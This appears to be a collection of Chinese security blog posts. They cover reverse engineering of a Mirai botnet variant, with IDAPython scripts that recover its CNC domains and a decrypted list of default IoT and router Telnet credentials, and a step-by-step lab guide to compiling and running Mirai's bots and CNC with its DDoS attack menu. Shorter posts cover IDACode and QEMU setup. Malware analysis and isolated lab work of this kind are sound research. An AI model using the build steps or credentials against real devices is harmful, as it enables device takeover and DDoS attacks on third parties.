讲述完原理,接下来对样本进行静态分析就需要做两个工作:

  1. 获取样本中硬编码的table中的CNC回连地址信息
  2. 逆向样本作者自定义的table_unlocal_val函数。
    运气比较好,这个样本应该是出于开发或者实验阶段,作者居然没有去除掉样本的符号表,因此可以直接定位到table_init函数。其中的add_entry函数应该是被编译优化了,但是依旧可以从uti_memcpy函数中得到硬编码的加密数据存放的位置。
    undifined
    接下来就是获取解密函数table_unlock_val的逻辑,如下。
    table_unlock_val根据table_id获取到待解密的结构体,并获取到其中的数据存放指针v2。然后从全局变量table_keys中每轮取出4个字节,并使用这4个字节对待解密数据进行xor计算。解密逻辑还是比较清晰明了的。
    undifined
    接下来就是编写脚本对数据进行解密,我写了一个IDAPython脚本,大致的工作就是在table_init函数中,分析util_memcpy的调用传参,获取到硬编码的table数据所在,然后使用解密逻辑进行解密:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    import idc
    import idautils

    ea = idc.get_name_ea_simple("util_memcpy")

    # table_init范围内
    start = 0x0000FA94
    end = 0x0000FCC0

    # 根据ARM传参规则,分析util_memcpy中的待解密数据地址
    def find_args(addr):
    each_op = addr
    tmp_args = {
    "R1" : 0,
    "R2" : 0
    }
    while each_op >= start:
    op_disasm = idc.GetDisasm(each_op)
    if "LDR" in op_disasm and "R1" in op_disasm:
    tmp_args["R1"] = each_op
    if "MOV" in op_disasm and "R2" in op_disasm:
    tmp_args["R2"] = each_op
    if tmp_args["R1"] != 0 and tmp_args["R2"] != 0:
    # print(hex(tmp_args["R1"]), hex(tmp_args["R2"]))
    return tmp_args
    each_op = idc.prev_head(each_op)
    return None

    # 根据地址获取待解密数据
    def get_op_string(addr):
    str_addr_list = list(idautils.DataRefsFrom(addr))
    data = []
    start = str_addr_list[1]
    i = 0
    while True:
    byte = idc.get_wide_byte(start + i)
    if byte == 0:
    break
    data.append(byte)
    i += 1
    # print("0x%x" % start, data)
    return data, i

    # 读取硬编码的table_keys
    def init_key():
    addr = 0x00025C14
    key = []
    i = 0
    while True:
    byte = idc.get_wide_byte(addr + i)
    if byte == 0:
    break
    key.append(byte)
    i += 1
    return key, i

    # 真正的解密函数
    def encrypt(data, key):
    for i in range(0, 80, 4):
    key1 = key[i]
    key2 = key[i + 1]
    key3 = key[i + 2]
    key4 = key[i + 3]
    for j in range(0, len(data)):
    data[j] ^= key1
    data[j] ^= key2
    data[j] ^= key3
    data[j] ^= key4
    result = ""
    for each in data:
    result += chr(each)
    print(result)


    key, key_len = init_key()

    for addr in idautils.CodeRefsTo(ea, 0):
    if start <= addr < end:
    args = find_args(addr)
    arg1, arg_len = get_op_string(args["R1"])
    # print(arg1, arg_len)
    encrypt(arg1, key)
    执行结果如下,其中CNC地址和Telnet爆破成功数据返回地址就为cjfop.xyzsdfsd.xyz,经过验证这和抓包数据中的通信地址吻合。
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    cjfop.xyz
    sdfsd.xyz
    gosh that chinese family at the other table sure ate a lot
    TSource Engine Query
    /proc/
    /exe
    /fd
    /cmdline
    enable
    system
    shell
    sh
    /bin/busybox BOTNET
    ncorrect
    BOTNET

弱口令字典

源码解析

同样的,从mirai源码中,可以知道弱口令字典是在函数scanner_init->add_auth_entry进行添加的,如下:

1
2
3
4
5
6
7
8
9
10
11
12
// Set up passwords
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x41\x11\x17\x13\x13", 10); // root xc3511
add_auth_entry("\x50\x4D\x4D\x56", "\x54\x4B\x58\x5A\x54", 9); // root vizxv
add_auth_entry("\x50\x4D\x4D\x56", "\x43\x46\x4F\x4B\x4C", 8); // root admin
add_auth_entry("\x43\x46\x4F\x4B\x4C", "\x43\x46\x4F\x4B\x4C", 7); // admin admin
add_auth_entry("\x50\x4D\x4D\x56", "\x1A\x1A\x1A\x1A\x1A\x1A", 6); // root 888888
add_auth_entry("\x50\x4D\x4D\x56", "\x5A\x4F\x4A\x46\x4B\x52\x41", 5); // root xmhdipc
add_auth_entry("\x50\x4D\x4D\x56", "\x46\x47\x44\x43\x57\x4E\x56", 5); // root default
add_auth_entry("\x50\x4D\x4D\x56", "\x48\x57\x43\x4C\x56\x47\x41\x4A", 5); // root juantech
add_auth_entry("\x50\x4D\x4D\x56", "\x13\x10\x11\x16\x17\x14", 5); // root 123456
add_auth_entry("\x50\x4D\x4D\x56", "\x17\x16\x11\x10\x13", 5); // root 54321
add_auth_entry("\x51\x57\x52\x52\x4D\x50\x56", "\x51\x57\x52\x52\x4D\x50\x56", 5); // support support

在函数add_auth_entry中,会调用解密函数deobf将硬编码的加密数据进行解密,然后保存到auth_table结构体中。

1
2
3
4
5
6
7
8
9
10
11
12
13
static void add_auth_entry(char *enc_user, char *enc_pass, uint16_t weight)
{
int tmp;

auth_table = realloc(auth_table, (auth_table_len + 1) * sizeof (struct scanner_auth));
auth_table[auth_table_len].username = deobf(enc_user, &tmp);
auth_table[auth_table_len].username_len = (uint8_t)tmp;
auth_table[auth_table_len].password = deobf(enc_pass, &tmp);
auth_table[auth_table_len].password_len = (uint8_t)tmp;
auth_table[auth_table_len].weight_min = auth_table_max_weight;
auth_table[auth_table_len++].weight_max = auth_table_max_weight + weight;
auth_table_max_weight += weight;
}

静态分析

类似的,分析完源码之后,需要解决的就是两个问题:

  1. 定位到硬编码的加密字典
  2. 根据样本的解密逻辑对字典进行解密
    硬编码的解密字典可以在scanner_init函数中获取,只需要分析add_auth_entry函数的传参就可以得到。
    undifined
    对于解密逻辑,可以在函数add_auth_entry中得到,可以看到deobf函数已经被编译优化了,但是我们依旧可以看到解密逻辑仅仅是使用了简单的xor操作,对enc_userenc_pass逐个字节xor0xEA
    undifined
    因此可以对应写出字典提取的IDAPython脚本如下,大致逻辑依旧是从scanner_init函数地址空间中分析add_auth_entry的传参,获取到硬编码的字典,然后对其进行解密:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    import idautils
    import idc

    ea = idc.get_name_ea_simple("add_auth_entry")
    print("code refers to 0x%x" % ea)

    # 分析函数传参
    def find_args(addr):
    # 在当前addr和当前函数范围之间
    start = idc.get_func_attr(addr, idc.FUNCATTR_START)
    each_op = addr
    tmp_args = {
    "R0" : 0,
    "R1" : 0,
    "R2" : 0
    }
    while each_op >= start:
    op_diasm = idc.GetDisasm(each_op)
    if "LDR" in op_diasm:
    if "R0" in op_diasm and tmp_args["R0"] == 0:
    tmp_args["R0"] = each_op
    if "R1" in op_diasm and tmp_args["R1"] == 0:
    tmp_args["R1"] = each_op
    # if "R2" in op_diasm and tmp_args["R2"] == 0:
    # tmp_args["R2"] = hex(each_op)
    if tmp_args["R0"] !=0 and tmp_args["R1"] != 0 :# and tmp_args["R2"] != 0:
    return tmp_args
    each_op = idc.prev_head(each_op)
    return None

    # 获取硬编码的字典数据并解密
    def get_op_string(addr):
    str_addr_list = list(idautils.DataRefsFrom(addr))
    data = ""
    start = str_addr_list[1]
    i = 0
    while True:
    byte = idc.get_wide_byte(start + i)
    if byte == 0:
    break
    data += chr(byte ^ 0xEA)
    i += 1
    # print("0x%x" % start, data)
    return data

    # 解密
    for addr in idautils.CodeRefsTo(ea, 0):
    # print("call func at %s" % hex(addr))
    args = find_args(addr)
    arg0 = get_op_string(args["R0"])
    arg1 = get_op_string(args["R1"])
    print("name: %s" % arg0)
    print("pass: %s" % arg1)
    print("\n")
    解密结果如下:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    75
    76
    77
    78
    79
    80
    81
    82
    83
    84
    85
    86
    87
    88
    89
    90
    91
    92
    93
    94
    95
    96
    97
    98
    name: root
    pass: Fireitup

    name: root
    pass: Pon521

    name: telecomadmin:nE
    pass: jA%5m

    name: telnetadmin
    pass: jA%5m

    name: telecomadmin
    pass: admintelecom

    name: ftp
    pass: admintelecom

    name: user
    pass: admintelecom

    name: guest
    pass: admintelecom

    name: root
    pass: icatch99

    name: root
    pass: vizxv

    name: root
    pass:

    name: guest
    pass: 12345

    name: root
    pass: tsgoingon

    name: admin
    pass: tsgoingon

    name: default
    pass: tsgoingon

    name: default
    pass: OxhlwSG8

    name: daemon
    pass: OxhlwSG8

    name: root
    pass: solokey

    name: default
    pass: lJwpbo6

    name: root
    pass: lJwpbo6

    name: default
    pass: tlJwpbo6

    name: default
    pass:

    name: guest
    pass: 123456

    name: default
    pass: S2fGqNFs

    name: support
    pass: S2fGqNFs

    name: admin
    pass: 1234

    name: root
    pass: admin

    name: bin
    pass: admin

    name: default
    pass: 1cDuLJ7c

    name: root
    pass: 123456

    name: root
    pass: 1001chin

    name: bin
    pass:

    name: root
    pass: Zte521

其他的一些有趣地方

在mirai源码中,进程隐藏是向argv[0]写入随机字符串,以及使用ptctl修改进程名的方式来进行的。该样本是直接将进程名修改为一个静态的字符串/var/Sofia。经过调研,/var/Sofia似乎是某些IoT设备的视频应用程序,但明显不是本次应急设备的,因此猜测该样本还正在处于不断的开发调试中(毕竟连调试信息都没去除)。
undifined
从弱口令字典中可以看出,该样本应该是针对国内某些设备的,因为字典中包含的弱口令有几个是中国电信的光猫设备的常见默认密码。

实验环境说明

实验环境所使用到的虚拟机都是Ubuntu 20.04 LTS,在设置cnc的数据库时需要对账号和密码进行相关的配置。局域网的路由器是OpenWrt,可以直接在路由器上配置DNS,将cnc的域名设置为mirai.cnc。

mirai-cnc:

  • IP:172.16.0.101
  • arch:x86/64
  • domain:mirai.cnc
  • sys:Ubuntu 20.04 LTS

mirai-client1:

  • IP:172.16.0.20
  • arch:x86/64
  • sys:Ubuntu 20.04 LTS

mirai-client2:

  • IP:172.16.0.21
  • arch:x86/64
  • sys:Ubuntu 20.04 LTS

局域网设置DNS解析

在实验的时候,如果有条件的可以使用公网IP+域名,没有条件的可以在局域网下面自行搭建一个DNS服务器,或者有些路由器上支持局域网内做域名劫持+解析进行配置。
我是在172.16.0.0/24局域网下使用刷了OpenWrt的斐讯路由器K2进行局域网下域名解析的,解析配置以及结果如下:
undifined
使用mirai-client1去ping cnc:

1
2
3
4
5
6
7
8
# utest @ mirai-client1 in ~ [2:47:52]
$ ping mirai.cnc
PING mirai.cnc (172.16.0.101) 56(84) bytes of data.
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=1 ttl=64 time=0.250 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=2 ttl=64 time=0.556 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=3 ttl=64 time=0.176 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=4 ttl=64 time=0.133 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=5 ttl=64 time=0.146 ms

使用mirai-client2去ping cnc:

1
2
3
4
5
6
7
8
# utest @ marai-client2 in ~ [2:50:22]
$ ping mirai.cnc
PING mirai.cnc (172.16.0.101) 56(84) bytes of data.
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=1 ttl=64 time=0.250 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=2 ttl=64 time=0.245 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=3 ttl=64 time=0.205 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=4 ttl=64 time=0.320 ms
64 bytes from pdc-ubuntu.lan (172.16.0.101): icmp_seq=5 ttl=64 time=0.340 ms

至此,网络环境就算搭建好了。

mirai-cnc配置

编译mirai的任务我是放在mirai-cnc上,其使用到了C、GO两种语言,cnc使用到了数据库来保存控制账号、攻击历史等信息,因此需要安装必备的软件。

1
sudo apt-get install git gcc golang electric-fence mysql-server mysql-client

下载源码:

1
git clone https://github.com/jgamblin/Mirai-Source-Code

设置cnc回连加密

mirai bot中的cnc地址和扫描结果返回地址是硬编码到源码中的加密数据,因此需要先编译加密模块,然后通过加密模块得到加密后的地址,并写入到mirai bot源码中。
进入路径mirai/tools,使用gcc编译即可:

1
2
3
4
5
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/tools on git:comments x [19:16:33]
$ gcc enc.c -o enc.out
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/tools on git:comments x [19:16:43]
$ ./enc.out
Usage: ./enc.out <string | ip | uint32 | uint16 | uint8 | bool> <data>

计算加密后的cnc域名和扫描成功结果返回域名,我是将二者都设置为同一个地址mirai.cnc

1
2
3
4
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai/tools on git:comments x [19:16:49]
$ ./enc.out string mirai.cnc
XOR'ing 10 bytes of data...
\x4F\x4B\x50\x43\x4B\x0C\x41\x4C\x41\x22

将其写入到mirai木马的源码./mirai/bot/table.c中,如下:

1
2
3
4
5
6
7
8
9
void table_init(void)
{
add_entry(TABLE_CNC_DOMAIN, "\x4F\x4B\x50\x43\x4B\x0C\x41\x4C\x41\x22", 11); // mirai.cnc
add_entry(TABLE_CNC_PORT, "\x22\x35", 2); // 23

add_entry(TABLE_SCAN_CB_DOMAIN, "\x4F\x4B\x50\x43\x4B\x0C\x41\x4C\x41\x22", 11); // mirai.cnc
add_entry(TABLE_SCAN_CB_PORT, "\x99\xC7", 2); // 48101

add_entry(TABLE_EXEC_SUCCESS, "\x4E\x4B\x51\x56\x47\x4C\x4B\x4C\x45\x02\x56\x57\x4C\x12\x22", 15);

配置交叉编译

mirai木马通常是针对IoT设备的,因此需要先构建交叉编译环境,以编译不同架构的木马。mirai源码中有推荐使用该地址的脚本来安装交叉编译环境,我是将交叉编译器放置到了mirai的源码目录中。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
mkdir cross-compile-bin
cd cross-compile-bin

wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-armv4l.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-i586.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-m68k.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mips.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-mipsel.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-powerpc.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sh4.tar.bz2
wget https://www.uclibc.org/downloads/binaries/0.9.30.1/cross-compiler-sparc.tar.bz2

tar -jxf cross-compiler-armv4l.tar.bz2
tar -jxf cross-compiler-i586.tar.bz2
tar -jxf cross-compiler-m68k.tar.bz2
tar -jxf cross-compiler-mips.tar.bz2
tar -jxf cross-compiler-mipsel.tar.bz2
tar -jxf cross-compiler-powerpc.tar.bz2
tar -jxf cross-compiler-sh4.tar.bz2
tar -jxf cross-compiler-sparc.tar.bz2

rm *.tar.bz2
mv cross-compiler-armv4l armv4l
mv cross-compiler-i586 i586
mv cross-compiler-m68k m68k
mv cross-compiler-mips mips
mv cross-compiler-mipsel mipsel
mv cross-compiler-powerpc powerpc
mv cross-compiler-sh4 sh4
mv cross-compiler-sparc sparc

目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/cross-compile-bin on git:comments x [22:08:42]
$ tree -L 1
.
├── armv4l
├── i586
├── m68k
├── mips
├── mipsel
├── powerpc
├── sh4
└── sparc

8 directories, 0 files

然后将交叉编译器所在的路径添加到shell配置文件中,我是使用的zsh,则~/.zshrc,bash则是~/.bashrc,配置完成后需要source一下配置文件:

1
2
3
4
5
6
7
8
9
10
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/armv4l/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/armv6l/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/i586/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/m68k/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/mips/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/mipsel/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/powerpc/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/powerpc-440fp/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/sh4/bin
export PATH=$PATH:/home/utest/app/Mirai-Source-Code/cross-compile-bin/sparc/bin

正式的编译工作还需要等数据库配置完毕后才能进行,因为cnc还需要连接到数据库。

数据库配置

mirai的作者是使用了一台单独的数据库服务器,我是将数据库服务运行在mirai.cnc上的,在实际场景中数据库可以运行在任意一台服务器上,只要保证能够被连接上。
在mirai源码中的scripts/db.sql中添加一行USE mirai如下,其作用是创建数据库mirai,创建表history,创建表users,创建表writelist

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
CREATE DATABASE mirai;
USE mirai;
CREATE TABLE `history` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`user_id` int(10) unsigned NOT NULL,
`time_sent` int(10) unsigned NOT NULL,
`duration` int(10) unsigned NOT NULL,
`command` text NOT NULL,
`max_bots` int(11) DEFAULT '-1',
PRIMARY KEY (`id`),
KEY `user_id` (`user_id`)
);

CREATE TABLE `users` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
`duration_limit` int(10) unsigned DEFAULT NULL,
`cooldown` int(10) unsigned NOT NULL,
`wrc` int(10) unsigned DEFAULT NULL,
`last_paid` int(10) unsigned NOT NULL,
`max_bots` int(11) DEFAULT '-1',
`admin` int(10) unsigned DEFAULT '0',
`intvl` int(10) unsigned DEFAULT '30',
`api_key` text,
PRIMARY KEY (`id`),
KEY `username` (`username`)
);

CREATE TABLE `whitelist` (
`id` int(10) unsigned NOT NULL AUTO_INCREMENT,
`prefix` varchar(16) DEFAULT NULL,
`netmask` tinyint(3) unsigned DEFAULT NULL,
PRIMARY KEY (`id`),
KEY `prefix` (`prefix`)
);

启动数据库,并执行上述的数据库脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
# utest @ mirai-cnc in ~/app/Mirai-Source-Code on git:comments x [22:24:04]
$ sudo mysql -u root
mysql> source ./scripts/db.sql
Query OK, 1 row affected (0.01 sec)

Database changed
Query OK, 0 rows affected, 5 warnings (0.06 sec)

Query OK, 0 rows affected, 8 warnings (0.01 sec)

Query OK, 0 rows affected, 2 warnings (0.01 sec)

mysql>

在刚才的mysql界面中添加一个用户,用来登陆cnc:

1
2
mysql> INSERT INTO users VALUES (NULL, 'mirai-user', 'mirai-password', 0, 0, 0, 0, -1, 1, 30, '');
Query OK, 1 row affected (0.01 sec)

修改数据库root账号的登录权限。在Ubuntu的mysql默认设置下不能使用root账号连接到服务器,因此需要稍微修改root账号的权限。在实际的运用场景中也可以新建另外的一个数据库账号,然后将数据库mirai的相关权限分配给该账号。

1
2
3
4
5
mysql> ALTER USER 'root'@'localhost' IDENTIFIED WITH mysql_native_password BY '123123';
Query OK, 0 rows affected (0.00 sec)

mysql> FLUSH PRIVILEGES;
Query OK, 0 rows affected (0.00 sec)

此时数据库的配置就完成了,可以得到如下的配置,并将其写入到cnc代码mirai/cnc/main.go中:

  • 账号:root
  • 密码:123123
  • 地址:127.0.0.1
    1
    2
    3
    4
    const DatabaseAddr string   = "127.0.0.1"
    const DatabaseUser string = "root"
    const DatabasePass string = "123123"
    const DatabaseTable string = "mirai"

编译木马和cnc

进入目录mirai中,执行build.sh debug telnet,此时使用的是debug模式,编译出来的bot不支持Telnet弱口令扫描,在实际的运用场景中使用build.sh release telnet。报错arm6l-gcc not found无所谓,只是这个交叉编译器没找到而已,可忽略,如果实际场景中非要编译出该架构的bot,也可以去找到相关的编译器并添加到PATH中。

1
2
3
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai on git:comments x [22:35:17]
$ ./build.sh debug telnet
./build.sh: line 54: armv6l-gcc: command not found

编译出来的结果如下,在debug目录中,mirai.*是真正的木马bot,cnc是运行到cnc服务器上,scanListen是监听bot弱口令爆破成功的返回结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai on git:comments x [22:56:37]
$ tree -L 1 debug
debug
├── badbot
├── cnc
├── enc
├── mirai.arm
├── mirai.dbg
├── mirai.mips
├── mirai.sh4
├── nogdb
└── scanListen

0 directories, 9 files

运行cnc,并上线木马

mirai.cnc上运行cnc,cnc会监听23端口,等待攻击者连接并进行验证,返回控制台:

1
2
3
4
# utest @ mirai-cnc in ~/app/Mirai-Source-Code/mirai on git:comments x [22:59:01] C:130
$ sudo ./debug/cnc
[sudo] password for utest:
Mysql DB opened

使用任意一台机器登陆到cnc:telnet mirai.cnc,输入之前配置的账号mirai-user、密码mirai-password,便可以进入控制台。登陆成功后,输入?可以查看到僵尸网络支持的攻击方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
я люблю куриные наггетсы
пользователь: mirai-user
пароль: **************

проверив счета... |
[+] DDOS | Succesfully hijacked connection
[+] DDOS | Masking connection from utmp+wtmp...
[+] DDOS | Hiding from netstat...
[+] DDOS | Removing all traces of LD_PRELOAD...
[+] DDOS | Wiping env libc.poison.so.1
[+] DDOS | Wiping env libc.poison.so.2
[+] DDOS | Wiping env libc.poison.so.3
[+] DDOS | Wiping env libc.poison.so.4
[+] DDOS | Setting up virtual terminal...
[!] Sharing access IS prohibited!
[!] Do NOT share your credentials!
Ready
mirai-user@botnet# ?
Available attack list
udp: UDP flood
ack: ACK flood
stomp: TCP stomp flood
greip: GRE IP flood
http: HTTP flood
vse: Valve source engine specific flood
dns: DNS resolver flood using the targets domain, input IP is ignored
syn: SYN flood
greeth: GRE Ethernet flood
udpplain: UDP flood with less options. optimized for higher PPS

将木马放到mirai-client1和mirai-client2上运行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
# utest @ mirai-client1 in ~ [7:15:15]
$ ./mirai.dbg
DEBUG MODE YO
[main] We are the only process on this system!
listening tun0
[main] Attempting to connect to CNC
[killer] Trying to kill port 23
[killer] Finding and killing processes holding port 23
Failed to find inode for port 23
[killer] Failed to kill port 23
[killer] Bound to tcp/23 (telnet)
[resolv] Got response from select
[resolv] Found IP address: 650010ac
Resolved mirai.cnc to 1 IPv4 addresses
[main] Resolved domain
[main] Connected to CNC. Local address = 335548588
[main] Lost connection with CNC (errno = 9) 2
[main] Tearing down connection to CNC!
[main] Attempting to connect to CNC
[resolv] Got response from select
[resolv] Found IP address: 650010ac
Resolved mirai.cnc to 1 IPv4 addresses
[main] Resolved domain
[main] Connected to CNC. Local address = 335548588
[main] Lost connection with CNC (errno = 9) 2
[main] Tearing down connection to CNC!
[main] Attempting to connect to CNC
[resolv] Got response from select
[resolv] Found IP address: 650010ac
Resolved mirai.cnc to 1 IPv4 addresses
[main] Resolved domain
[main] Connected to CNC. Local address = 335548588
[killer] Detected we are running out of `/home/utest/mirai.dbg`
[killer] Memory scanning processes
[table] Tried to access table.11 but it is locked
Got SIGSEGV at address: 0x0

此时就可以在登陆cnc的终端上看到连接的bot数量:
undifined

至此,mirai的环境搭建基本完成。

写IDAPython的时候,需要解决的两个问题就是:

  1. 如何脱离在IDA的python命令窗口进行编辑调试
  2. 脱离之后,如何设置代码补全(easy)

在本文中,将简单介绍使用VSCode + IDACode插件,实现脱离IDA的python命令窗口进行开发,并且通过设置python补全,达到良好的代码编辑体验。

环境说明

  • Win10专业版
  • IDA Pro 7.7,安装IDACode配套的插件
  • VSCode,安装IDACode插件
  • Python3.8.10

配置步骤

假设已经安装好了Python并且已经将Python的路径加入到了环境变量中。
接下来就是按照Github上官方的安装步骤进行配置

1. 在IDA上安装IDACode调试需要的插件

首先安装必要的python库,这是IDA中的IDACode插件需要的,此处安装也需要在IDA的Python中进行安装。
例如我的IDA中的Python是:C:\Program Files\IDA_Pro_7.7\python38,那么在命令行中打开该目录使用python安装库到IDA的python库目录site-packages中。

1
2
python.exe -m pip install debugpy tornado --target ./Lib/site-packages # 如果慢使用下面的命令阿里源
python.exe -m pip install debugpy tornado --target ./Lib/site-packages -i https://mirrors.aliyun.com/pypi/simple

undifined
将如下的文件从Github下载并放入到IDA的plugins文件夹中
undifined
然后打开IDA,看命令行窗口是否成功加载了插件,看是否有报错,如果有则想办法解决。如下就遇到说python路径不存在,提示是可以在idacode_utils/settings.py中修改,那么修改为正确的路径
undifined
undifined
重新启动插件,已经成功加载
undifined

2. VSCode中安装IDACode插件

直接在VSCode的插件库中搜索IDACode,安装。然后开始创建一个简单的IDAPython脚本。
undifined

首先在IDA中启用插件,开启IDACode server:Edit -> Plugins -> IDACode。如下,已经开始监听。
undifined
然后在VSCode中调出命令板:Ctrl + Shift + p,先选择Connect to IDA,然后选择一个路径用来暂存VSCode要发送到IDA中执行的脚本。
undifined
undifined
如下,可以在IDA的命令行窗口中看到,VSCode已经连接上。
undifined
有两种方式可以发送脚本到IDA中执行,一种是使用命令面板,另外一种更简单是Ctrl + s保存直接发送到IDA中执行。之前的示例脚本出了一点问题,重新编辑下。如下,可以看到,IDA中执行了脚本,到此,VSCode和IDA的联动设置完成。
undifined
undifined

3. 设置pylance插件进行愉快代码补全

如果想要愉快进行代码编写,补全是必不可少的。在VSCode中有一个强大的插件pylance,可以
undifined
将IDAPython库的路径添加到Extra Paths中,让pylance可以提取其中的信息进行补全。
undifined
此时就可以愉快进行代码的补全了,撒花~~~
undifined

参考链接

如何手动搭建 qemu mipsel 环境

之前搭建 qemu 系统级别的虚拟机的时候,一般都是下载已经编译好的特定架构的系统镜像,这些镜像有个缺点就是没有办法使用类似于 apt 的方式安装软件,每次要安装一些额外的软件都比较复杂,于是就想能不能手动安装一个具有正常功能的虚拟机。
此处安装的是 mipsel 环境的 Debian 虚拟机,其他架构也是类似的安装方法。

必要软件

在 Host 机上安装 qemu-system-mipsel

1
sudo apt-get install qemu-system-mipsel qemu-utils

下载相关文件

从稳定版本下载安装程序和引导文件。
下载安装程序 initrd.gz,23MB

1
wget https://ftp.debian.org/debian/dists/stable/main/installer-mipsel/current/images/malta/netboot/initrd.gz

下载内核引导 vmlinuz-5.10.0-18-4kc-malta,4.2MB,如果wget的时候报错404,可以尝试通过浏览器看看链接目录是否更新了

1
wget http://ftp.debian.org/debian/dists/stable/main/installer-mipsel/current/images/malta/netboot/vmlinuz-5.10.0-18-4kc-malta

创建 QEMU 镜像文件

创建一个 QEMU 镜像文件,可以指定镜像存储大小以及文件类型。Debian 官方文档中有最低硬件要求,对于不带桌面的系统,2G 存储空间就足够了,也可以创建更大存储空间的镜像。
如下就是创建一个具有 8G 存储空间的 qcow2 格式镜像

1
qemu-img create -f qcow2 hda.img 8g

安装 Debian MIPSEL

安装前确保在当前工作目录中,3 个文件(had.img、vmlinuz-5.10.0-9-4kc-malta、initrd.gz)都存在。安装的过程,也是命令行形式的安装界面,基本上和在普通 PC 机上安装 Linux 的过程一致。

1
2
3
4
5
6
qemu-system-mipsel -M malta \
-m 256 -hda hda.img \
-kernel vmlinuz-5.10.0-18-4kc-malta \
-initrd initrd.gz \
-append "console=ttyS0 nokaslr" \
-nographic

在默认情况下,QEMU 会启动 NAT 网络接口通过 Host 网络进行网络连接,这样虚拟机就可以安装和更新软件包。但是使用NAT存在一个问题就是,宿主机无法连接到QEMU虚拟机内部,可以理解为此时的QEMU和宿主机是一个整体。如果要连接到QEMU虚拟机中可以使用桥接或者NAT下端口映射的方式来解决。
进入系统安装
undifined
到选择镜像源的时候,可以选择China的镜像源,这样下载依赖会快一点。
undifined
后面还需要安装bootloader
undifined
到了下面的这个步骤,点击 Go Back -> Go Down -> Execute Shell,然后输入 poweroff 命令关闭虚拟机。如果点击 Continue,系统会重启,然后重新开始安装流程,类似于设置了 U 盘启动安装 Linux 系统,安装完毕后没有拔掉 U 盘,那么就会继续从 U 盘中的安装系统程序重新开始运行。
undifined

安装 bootloader

在安装过程中也会有提示说,no bootloader has been installed. 那么需要从 initrd.img 文件中获取 boot 分区,然后手动挂载出来。

  1. 挂载 boot 分区
    1
    2
    3
    sudo modprobe nbd mac_part=63
    sudo qemu-nbd -c /dev/nbd0 hda.img
    sudo mount /dev/nbd0p1 /mnt
  2. 复制挂载的文件到当前文件夹
    1
    2
    cp -r /mnt/boot/initrd.img-5.10.0-18-4kc-malta .
    cp -r /mnt/boot .
